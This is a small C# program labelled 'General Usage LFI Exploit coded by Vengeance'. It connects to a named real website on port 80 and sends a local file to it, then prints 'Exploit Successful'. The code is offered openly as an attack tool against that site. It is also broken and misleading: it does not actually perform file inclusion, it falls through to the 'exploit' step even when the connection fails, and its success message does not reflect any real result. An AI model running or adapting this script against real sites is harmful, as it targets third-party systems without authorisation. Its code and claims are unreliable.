using System;
using System.Net.Sockets;
using System.Net;
using System.Collections.Generic;
using System.IO;
class General_Usage_LFI
{
private static void ConnectCallBack(IAsyncResult arrz)
{
Socket client = (Socket)arrz.AsyncState;
}
public static void Main()
{
Console.WriteLine("General Usage LFI Exploit coded by Vengeance");
System.Threading.Thread.Sleep(2000);
string address = "
www.pulse-gamers.com"; string path = "ragnarok";
string filepath = "C:/Users/Administrator/Desktop/test.txt";
string full = "http://" + address + "/" + path + "/";
TcpClient tcp = new TcpClient();
try
{
tcp.Connect(address, 80);
Console.WriteLine("[x]Connection Accepted");
goto doexploit;
}
catch
{
Console.WriteLine("[x]Connection Refused...");
Console.WriteLine("[x]Exploit Failed...");
}
doexploit:
string avaliable = tcp.Available.ToString();
Console.WriteLine("[x]" + avaliable);
Console.WriteLine(" ");
Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try
{
tcp.Client.BeginSendFile(filepath, new AsyncCallback(ConnectCallBack), null);
Console.WriteLine("[x]Exploit Successful");
}
catch
{
Console.WriteLine("[x]Exploit Failed");
}
finally
{
Console.ReadLine();
}
}
}